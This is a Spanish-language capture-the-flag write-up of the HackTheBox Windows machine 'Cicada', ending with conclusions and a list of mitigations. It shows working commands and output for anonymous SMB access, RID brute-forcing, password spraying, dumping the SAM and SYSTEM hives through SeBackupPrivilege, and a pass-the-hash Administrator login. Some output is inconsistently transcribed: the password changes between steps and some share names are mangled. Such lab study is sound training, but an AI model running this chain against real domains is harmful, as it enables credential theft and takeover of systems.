

# Cicada (HackTheBox)

Máquina: Cicada

SO: Windows

IP: 10.10.11.35

Fecha: 2025-10-15

Herramientas: ping, nmap, smbclient, crackmapexec, impacket, evil-winrm

Dificultad: Easy

Tipo de informe: POC + comandos utilizados + Conclusiones

## Enumeración

Con la herramienta "ping" identificamos un TTL de 127(+1). Lo que sugiere que es Windows.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# ping 10.10.11.35 -c 4
PING 10.10.11.35 (10.10.11.35) 56(84) bytes of data.
64 bytes from 10.10.11.35: icmp_seq=1 ttl=127 time=47.7 ms
64 bytes from 10.10.11.35: icmp_seq=2 ttl=127 time=209 ms
64 bytes from 10.10.11.35: icmp_seq=3 ttl=127 time=43.7 ms
64 bytes from 10.10.11.35: icmp_seq=4 ttl=127 time=71.5 ms

— 10.10.11.35 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3889ms
rtt min/avg/max/mdev = 43.737/92.927/208.774/67.723 ms
```

Parámetros:

- -c: nos permite enviar 4 paquetes.

Más adelante procedemos a buscar los puertos abiertos tanto por TCP como por UDP.

Puertos TCP/IP:

```
(root@kali)-[/home/kali/Desktop/Workstation]
# nmap -sS -n -Pn -p- --min-rate 5000 --disable-arp-ping --reason -oN puertosT.txt 10.10.11.35
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 10:39 EDT
Nmap scan report for 10.10.11.35
Host is up, received user-set (0.10s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT      STATE SERVICE      REASON
53/tcp    open  domain       syn-ack ttl 127
88/tcp    open  kerberos-sec syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
389/tcp   open  ldap         syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
464/tcp   open  kpasswd5     syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl      syn-ack ttl 127
3268/tcp  open  globalcatLDAP syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
58137/tcp open  unknown      syn-ack ttl 127
```

Parámetros:

- -sS: Syn-Scan, usa solo la primera fase del 3WayHandshake
- -n: Evitamos hacer DNS Resolution
- -Pn: Evitamos hacer Host Discovery
- --min-rate 5000: Usamos un elevado número de paquetes para ir más rápido, muy agresivo
- --disable-arp-ping: Evitamos ARP Discovery
- --reason: Estado del puerto
- -oN: output normal de Nmap

Puertos UDP:

```
(root@kali)-[/home/kali/Desktop/Workstation]
# nmap -sU -n -Pn -p- --min-rate 5000 --disable-arp-ping --reason -oN puertosU.txt 10.10.11.35
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 10:49 EDT
Nmap scan report for 10.10.11.35
Host is up, received user-set (0.043s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT      STATE SERVICE      REASON
53/udp    open  domain       udp-response ttl 127
88/udp    open  kerberos-sec  udp-response ttl 127
123/udp   open  ntp          udp-response ttl 127
389/udp   open  ldap         udp-response ttl 127
```

Parámetros:

- -sU: UDP-Scan

Una vez identificados los puertos, analizamos cada puerto para identificar versiones y posible información extra.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# nmap -sCV -A -O -p53,88,123,135,139,389,464,593,636,3268,3269,5985,58137 -T4 10.10.11.35
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 10:55 EDT
Nmap scan report for 10.10.11.35
Host is up (0.099s latency).
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-15 21:55:12Z)
123/tcp   filtered ntp
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: 2025-10-15T21:56:50+00:00; +7h00m03s from scanner time.
464/tcp   open  knasswd5?
```

(SNIP...)

Parámetros:

- -sCV: ejecutar Script Default y identificar versiones
- -A: Modo agresivo y ruidoso que aporta mucha información
- -O: FingerPrinting del Sistema Operativo
- -T4: Acelera el proceso pero con algo de ruido

Se identificaron varias cosas como servicios LDAP, SMB, Kerberos, un posible Active Directory y otros más.

Continuaremos con el servicio SMB ( que es el que nos dará resultados ).

Se identificaron varias carpetas No-Default, en HR tenemos permisos, pero en DEV no.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# smbclient -N -L //10.10.11.35/

      Sharename      Type      Comment
      -----
ADMIN$              Disk      Remote Admin
C$                  Disk      Default share
DEV                  Disk
agent\HR            6.2 MiB   Disk      0%
IPC$                 IPC       Remote IPC
app\NETLOGON        2 MiB     Disk      Logon server share
at\SYSVOL            3 MiB     Disk      Logon server share
```

Parámetros:

- -N: Sin usuario ni credenciales (anonymous)
- -L: Listar carpetas

Dentro de HR se identificó un fichero sensible con credenciales en su interior.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# smbclient -N //10.10.11.35/HR
Try "help" to get a list of possible commands.
smb: \> dir
.                1334      7.2 MiB   0%
..               1334      7.2 MiB   0%
Notice from HR.txt 18      58.1 MiB  0%
                  4168447 blocks of size 4096. 126754 blocks available
smb: \> ^C

(root@kali)-[/home/kali/Desktop/Workstation]
# cat Notice\ from\ HR.txt

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part
that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corp*@Lp#nZp!8
```

Recapitulemos.

Tenemos una credencial de un usuario desconocido.

Tenemos un Active Directory presente.

Por lo tanto, enumeraremos posibles usuarios del AD y luego identificaremos que usuario usa la credencial obtenida.

## Explotación

Para ello usaremos la herramienta "crackmapexec" con el usuario Guest y usaremos fuerza bruta con los identificadores de usuario (RID).

```
(root@kali)-[/home/kali/Desktop/Workstation]
# crackmapexec smb 10.10.11.35 -u guest -p "" --rid-brute | grep "SidTypeUser" | cut -f2 -d'\ ' | cut -f1 -d"("
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

Los RID se usan enumerar cuentas numéricas del sistema. Con RID-Cycling enumeramos todas las cuentas dentro del rango. (--rid-brute, si no se especifica va hasta 4000)

Ahora usaremos estos usuarios y probaremos la credencial, es decir un PasswordSpraying-Attack.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
```

PasswordSpraying-Attack se basa en usar diferentes usuarios y probarlos con una sola contraseña (que siempre será la misma para todos), logrando así, conocer quién usa la credencial.

Ahora que tenemos el usuario con sus credenciales probaremos logear en servicios en búsqueda de más información ( no hay información nueva en otros servicios ).

Por lo tanto volveremos a enumerar usuarios con el usuario obtenido.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# crackmapexec smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [+] Enumerated domain user(s)
SMB 10.10.11.35 445 CICADA-DC cicada.htb\emily.oscars badpwdcount: 0 desc:
SMB 10.10.11.35 445 CICADA-DC cicada.htb\david.orelious badpwdcount: 0 desc:
Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC cicada.htb\michael.wrightson badpwdcount: 0 desc:
SMB 10.10.11.35 445 CICADA-DC cicada.htb\sarah.dantelia badpwdcount: 1 desc:
SMB 10.10.11.35 445 CICADA-DC cicada.htb\john.smoulder badpwdcount: 1 desc:
SMB 10.10.11.35 445 CICADA-DC cicada.htb\krbtgt badpwdcount: 1 desc:
Key Distribution Center Service Account
SMB 10.10.11.35 445 CICADA-DC cicada.htb\Guest badpwdcount: 1 desc:
Built-in account for guest access to the computer/domain
SMB 10.10.11.35 445 CICADA-DC cicada.htb\Administrator badpwdcount: 1 desc:
Built-in account for administering the computer/domain
```

Hemos tenido suerte de encontrar otro usuario con una contraseña expuesta en Texto Plano sin encriptar.

Lo cual supone otro riesgo elevado para el sistema.



Este usuario sí nos permite entrar al directorio DEV del servicio de SMB, obteniendo así un nuevo usuario.

```
(root@kali)-[/home/kali/Desktop/Workstation]
# smbclient -U cicada.htb/david.orelious //10.10.11.35/Dev
Password for [CICADA.HTB\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> dir
.
..
Backup_script.ps1
4168447 blocks of size 4096. 126334 blocks available
smb: \> ^C

(root@kali)-[/home/kali/Desktop/Workstation]
# cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
```

Este usuario con credenciales expuestas en el directorio DEV del servicio SMB sí nos permite acceder dentro del Sistema.

## Privilege Escalation

Lo primero que hacemos es recopilar tanto información como nos sea posible. Del sistema, del usuario, de otros usuarios, grupos, etc..

Información del Sistema:

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> Get-ComputerInfo

WindowsBuildLabEx      : 20348.1.amd64fre.fe_release.210507-1500
WindowsCurrentVersion  : 6.3
WindowsEditionId       : ServerStandard
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 3/14/2024 10:43:33 AM
WindowsProductId       : 00454-20165-01481-AA720
WindowsProductName     : Windows Server 2022 Standard
WindowsRegisteredOrganization : 
WindowsRegisteredOwner : Windows User
WindowsSystemRoot      : C:\Windows
WindowsVersion         : 2009
OSDisplayVersion       : 21H2
```

Información sobre Usuarios:

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> net user

User accounts for \\
Administrator david.orelious emily.oscars
Guest john.smoulder krbtgt
michael.wrightson sarah.dantelia
The command completed with one or more errors.
```

Información sobre Grupos:

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> net localgroup 'Administrators'
Alias name     Administrators
Comment       Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
```

Hemos localizado una posible escalada de privilegios.

Se ha detectado "SeBackupPrivilege" y "SeRestorePrivilege" en el usuario Emily, lo que nos permite extraer los ficheros SYSTEM y SAM para obtener los HASHes del sistema.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                State
-----
SeBackupPrivilege    Back up files and directories Enabled
SeRestorePrivilege   Restore files and directories Enabled
SeShutdownPrivilege  Shut down the system       Enabled
SeChangeNotifyPrivilege Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

Descargamos los ficheros "SeBackupPrivilegeCmdLets.dll" y "SeBackupPrivilegeUtils.dll" del repositorio GitHub "<https://github.com/giuliano108/SeBackupPrivilege>".

```
(root@kali)-[/home/kali/Desktop/Workstation]
# ls -altr SeBackupPrivilege*
-rw-rw-r-- 1 kali kali 12288 Oct 15 10:10 SeBackupPrivilegeCmdLets.dll
-rw-rw-r-- 1 kali kali 16384 Oct 15 10:10 SeBackupPrivilegeUtils.dll
```

Cargamos los archivos a la máquina Windows y los cargamos los módulos en la sesión actual.

```
-a----- 10/15/2025  3:48 PM      12288 SeBackupPrivilegeCmdLets.dll
-a----- 10/15/2025  3:48 PM      16384 SeBackupPrivilegeUtils.dll

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\tmp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\tmp> Import-Module .\SeBackupPrivilegeUtils.dll
```

Usamos upload en evil-winrm para cargar ficheros

Ahora aprovechando los permisos de Emily, crearemos una copia de SAM y SYSTEM, que luego en nuestro sistema explotaremos.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\tmp> reg save hklm\sam C:\Users\emily.oscars.CICADA\tmp\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\tmp> reg save hklm\system C:\Users\emily.oscars.CICADA\tmp\system
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\tmp> download sam

Info: Downloading C:\Users\emily.oscars.CICADA\tmp\sam to sam

Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\tmp> download system

Info: Downloading C:\Users\emily.oscars.CICADA\tmp\system to system

Info: Download successful!
```

*Usamos download en evil-winrm para bajar archivos*

Con la herramienta "SecretsDump" de Impacket-Tools extraeremos los hashes de SAM.

```
(root@kali)-[/home/kali/Desktop/Workstation/tmp]
# python3 /opt/Certipy/venv/bin/secretsdump.py -sam sam -system system LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up ...
```

Como resultado final obtenemos el hash NTLM del usuario Administrador, que con "evil-winrm" podemos hacer Pass-The-Hash para acceder al sistema con privilegios elevados.

```
(root@kali)-[/home/kali/Desktop/Workstation/tmp]
# evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method
module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
```

## Conclusiones

En esta máquina HTB (Cicada), comenzamos con la enumeración básica (ping, escaneo de puertos y servicios, SMB) y descubrimos tanto credenciales como vectores de ataque. Luego fuimos descubriendo nuevos usuarios y credenciales hasta llegar al sistema. Que fácilmente pudimos ver su forma de ganar privilegios.

## Mitigaciones

### Prioridad alta

1. Rotar credenciales comprometidas.
2. Implementar prácticas seguras para las contraseñas.
3. Restringir/Limitar accesos SMB
4. Revocar privilegios Backup/Restore

## **Prioridad media**

1. Fortalecer la seguridad (MFA, SHA1, implementar LAPS)
2. Creación de políticas contra Password-Spraying y Fuerza Bruta
3. Segmentar y filtrar la red

## **Prioridad baja**

1. Actualizar los servicios (ej. SMBv1)
2. Aplicar metodologías Zero-Trust y Privilegio Mínimo
3. Uso de cuentas Just-In-Time (PAM)